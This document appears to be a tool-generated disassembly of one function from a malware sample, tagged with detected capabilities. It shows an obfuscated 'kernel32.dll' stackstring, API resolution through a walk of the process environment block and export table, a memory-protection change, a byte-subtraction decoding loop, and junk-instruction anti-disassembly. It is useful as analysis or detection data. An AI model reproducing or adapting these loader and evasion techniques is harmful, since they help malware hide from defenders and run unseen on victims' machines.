Function at 0x408f32
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
or ebx, 0x5af
xor ebx, 0xcf3d
pop ebx
cmp dword [ebp - 0x18c], 0
jne 0x409743
mov ecx, 0x6b
mov word [ebp - 0xcc4], cx
mov edx, 0x65
mov word [ebp - 0xcc2], dx
mov eax, 0x72
mov word [ebp - 0xcc0], ax
mov ecx, 0x6e
mov word [ebp - 0xcbe], cx
mov edx, 0x65
mov word [ebp - 0xcbc], dx
mov eax, 0x6c
mov word [ebp - 0xcba], ax
mov ecx, 0x33
mov word [ebp - 0xcb8], cx
mov edx, 0x32
mov word [ebp - 0xcb6], dx
mov eax, 0x2e
mov word [ebp - 0xcb4], ax
mov ecx, 0x64
mov word [ebp - 0xcb2], cx
mov edx, 0x6c
mov word [ebp - 0xcb0], dx
mov eax, 0x6c
mov word [ebp - 0xcae], ax
xor ecx, ecx
mov word [ebp - 0xcac], cx
push ecx
and ecx, 0xf587
sub ecx, 0x3591
pop ecx
push edx
call 0x408f32
add byte [esi + 0x32], cl
aas
cmp eax, 0x8342324d
les eax, [ecx + eax*4]
ljmp 0xc281
push ecx
sub ecx, 0x14405
jmp 0x409752
call 0x409761
add byte [eax], bh
xor bh, byte ds:[edi]
inc eax
dec edx
dec esp
inc esi
xor al, byte [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
aas
xor edi, dword ds:[0x83373c33]
les eax, [ecx + ebx*2]
mov edx, dword fs:[0x18]
mov dword [ebp - 0xe90], edx
mov eax, dword [ebp - 0xe90]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe94], ecx
mov edx, dword [ebp - 0xe94]
mov dword [ebp - 0xbf4], edx
push ecx
call 0x4097ab
add byte [edi], dh
xor dh, byte [ebx + edi]
aas
inc eax
xor eax, 0xe804c483
or al, byte [eax]
add byte [eax], al
add byte [edx], dh
aas
dec ecx
dec esi
xor al, byte [eax + 0x34]
xor eax, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
leave
wait
mov bh, 0
add byte [ecx + 0x52], bl
or edx, 0xd7e0
pop edx
cmp dword [ebp - 0xbf4], 0
jne 0x4097e7
mov dword [ebp - 0x18c], 0
jmp 0x409a8e
mov eax, dword [ebp - 0xbf4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x6f8], edx
push esi
push eax
add esp, 4
call 0x40980a
add byte [esi + 0x48], al
cmp cl, byte [ebp + 0x35]
inc eax
add esp, 4
call 0x40981b
add byte [esi], dh
inc ebx
cmp edi, dword [ecx]
inc ecx
inc esp
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0x81
out dx, al
cmp eax, 0x81000143
test byte [eax + esi], 0
add byte [esi - 0x7d], bl
mov ebp, 0xfffff908
add byte [ebp + 0xf], dh
mov dword [ebp - 0x18c], 0
jmp 0x409a8e
push ebx
xor ebx, 0x15395
pop ebx
push edx
push eax
add esp, 4
add edx, 0x9ee7
or edx, 0x16ff
add edx, 0x12ce2
xor edx, 0xb21e
pop edx
push edx
push ebx
add esp, 4
or edx, 0x105d4
pop edx
mov edx, dword [ebp - 0x18c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x1c0], eax
push ecx
push edx
add esp, 4
or ecx, 0x17c03
call 0x409ae6
add byte [eax + 0x44], dl
xor eax, 0x83424733
les eax, [ebx + ebp*8]
add edi, dword [edx]
dec ebx
cmp bl, byte [ecx + 0x51]
push ecx
add esp, 4
sub ecx, 0x1461
and ecx, 0x21af
pop ecx
mov dword [ebp - 0x410], 0
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0xc00], ecx
cmp dword [ebp - 0xc00], 0
jne 0x409b31
mov edx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], edx
jmp 0x409e22
mov eax, dword [ebp - 0xc00]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc04], ecx
jne 0x409b59
mov edx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], edx
jmp 0x409e22
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0xc04]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0xc08], eax
cmp dword [ebp - 0xc08], 0
jne 0x409b8b
mov ecx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], ecx
jmp 0x409e22
mov edx, dword [ebp - 0x1c0]
add edx, dword [ebp - 0xc08]
mov dword [ebp - 0x404], edx
jne 0x409bb0
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], eax
jmp 0x409e22
mov ecx, dword [ebp - 0x404]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0xe98], edx
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0xe9c], ecx
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x1c0]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0xea0], eax
mov dword [ebp - 0x408], 0
jmp 0x409c0a
mov ecx, dword [ebp - 0x408]
add ecx, 1
mov dword [ebp - 0x408], ecx
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
cmp eax, dword [edx + 0x18]
jae 0x409e16
mov ecx, dword [ebp - 0x408]
mov edx, dword [ebp - 0xe98]
mov eax, dword [ebp - 0x1c0]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x40c], eax
mov ecx, dword [ebp - 0x408]
mov edx, dword [ebp - 0xe9c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0xea0]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0xea4], edx
mov dword [ebp - 0xc0], 0
jmp 0x409c7a
mov eax, dword [ebp - 0xc0]
add eax, 1
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x40c]
add ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
test edx, edx
je 0x409d2c
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [ebp + eax - 0x598]
test ecx, ecx
je 0x409d2c
push edi
and edi, 0x18024
or edi, 0x86c1
pop edi
push edx
push eax
add esp, 4
and edx, 0xaf70
pop edx
push eax
push ecx
add esp, 4
or eax, 0x750f
or eax, 0x1400d
xor eax, 0x17496
pop eax
mov edx, dword [ebp - 0x40c]
add edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ebp + ecx - 0x598]
cmp eax, edx
je 0x409d1e
mov eax, dword [ebp - 0x40c]
add eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0xc0]
movsx eax, byte [ebp + edx - 0x598]
cmp ecx, eax
jne 0x409d25
jmp 0x409c6b
jmp 0x409d2c
push edx
push edx
add esp, 4
call 0x409d3e
add byte [ebx + 0x47], al
cmp eax, 0x323b4432
add esp, 4
and edx, 0xfca6
and edx, 0x144b0
pop edx
push ecx
jmp 0x409d55
pop ecx
push edi
and edi, 0x17409
pop edi
mov ecx, dword [ebp - 0x40c]
add ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [ebp + eax - 0x598]
cmp edx, ecx
jne 0x409d8b
mov dword [ebp - 0x6fc], 0
jmp 0x409dfa
push esi
add esi, 0xa2c3
and esi, 0x9bc5
pop esi
push edx
call 0x409da7
add byte [ebx], bh
dec ecx
cmp byte [0x834d3e42], bh
les eax, [edx + ebx*2]
push ebx
push edi
add esp, 4
xor ebx, 0x1ce3
add ebx, 0x2f04
pop ebx
mov edx, dword [ebp - 0x40c]
add edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ebp + ecx - 0x598]
or edx, 0x20
cmp eax, edx
jge 0x409df0
mov dword [ebp - 0x6fc], 0xffffffff
jmp 0x409dfa
mov dword [ebp - 0x6fc], 1
cmp dword [ebp - 0x6fc], 0
jne 0x409e11
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x2ec], eax
jmp 0x409e22
jmp 0x409bfb
mov ecx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], ecx
mov edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x618], edx
push edi
jmp 0x409e37
sub edi, 0x8f94
or edi, 0xa718
pop edi
push eax
push edx
add esp, 4
or eax, 0xe8b3
call 0x409e5c
add byte [esp + eax*2 + 0x46], cl
inc ebp
dec ebp
cmp dword [edi], esi
add esp, 4
pop eax
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xea8], eax
lea ecx, [ebp - 0x700]
push ecx
push 0x40
mov edx, dword [ebp - 0xc0c]
push edx
mov eax, dword [ebp - 0x228]
push eax
call dword [ebp - 0xea8]
test eax, eax
jne 0x409ed3
push esi
push edx
add esp, 4
add esi, 0x11696
and esi, 0xe088
pop esi
push ecx
jmp 0x409ea7
xor ecx, 0x53bd
add ecx, 0xf9c3
pop ecx
push esi
jmp 0x409ebe
pop esi
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0xeac], ecx
push 0
call dword [ebp - 0xeac]
mov edx, dword [ebp - 0xeb0]
mov dword [ebp - 0x414], edx
jmp 0x409ef0
mov eax, dword [ebp - 0x414]
add eax, 1
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x414]
cmp ecx, dword [ebp - 0x614]
jae 0x409f4c
push ebx
push ebx
add esp, 4
call 0x409f12
add byte [edi + 0x3a], cl
inc ecx
dec esi
cmp eax, 0x344a3a4a
add esp, 4
xor ebx, 0x158b6
pop ebx
push ebx
jmp 0x409f23
sub ebx, 0x1477e
or ebx, 0x76fd
pop ebx
movzx edx, byte [ebp - 0x1fd]
mov eax, dword [ebp - 0x414]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x414]
mov byte [edx], cl
jmp 0x409ee1
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xeb4], eax
lea ecx, [ebp - 0x700]
push ecx
mov edx, dword [ebp - 0x700]
push edx
mov eax, dword [ebp - 0xc0c]
push eax
mov ecx, dword [ebp - 0x228]
push ecx
call dword [ebp - 0xeb4]
test eax, eax
jne 0x409fc4
push edx
xor edx, 0x158d0
sub edx, 0x8186
and edx, 0x17432
pop edx
push eax
push ebx
add esp, 4
and eax, 0x6114
sub eax, 0x333d
sub eax, 0x95ab
or eax, 0x7acb
pop eax
mov edx, dword [ebp - 0x418]
mov dword [ebp - 0xeb8], edx
push 0
call dword [ebp - 0xeb8]
push esi
or esi, 0x13d0a
pop esi
push edi
push esi
add esp, 4
call 0x409fdd
add byte [ebp + esi + 0x3b], cl
inc edi
inc edx
xor al, 0x83
les eax, [edi + ebx*2]
push edi
add edi, 0x174c2
and edi, 0x2a31
jmp 0x409ff5
pop edi
push ecx
mov ecx, 0x10101010
pop ecx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop edx
push edi
mov cl, bl
or ecx, dword [eax + 0x79096f2]
pop es
bound ebx, qword [eax - 0x78]
rol byte [ebx - 0x77f8f7a5], 1
enter 0xffffffffffffe937, 7
pop es
pushal
pop ecx
pop ebp
mov cl, bl
or ecx, dword [eax + 0x76c28c9]
pop es
mov cl, dh
pop esp
out dx, al
pop es
pop es
mov cl, ch
sub al, 0xec
pop es
pop es
popal
mov edi, 0x7070772
insd dword es:[edi], dx
nop
invalid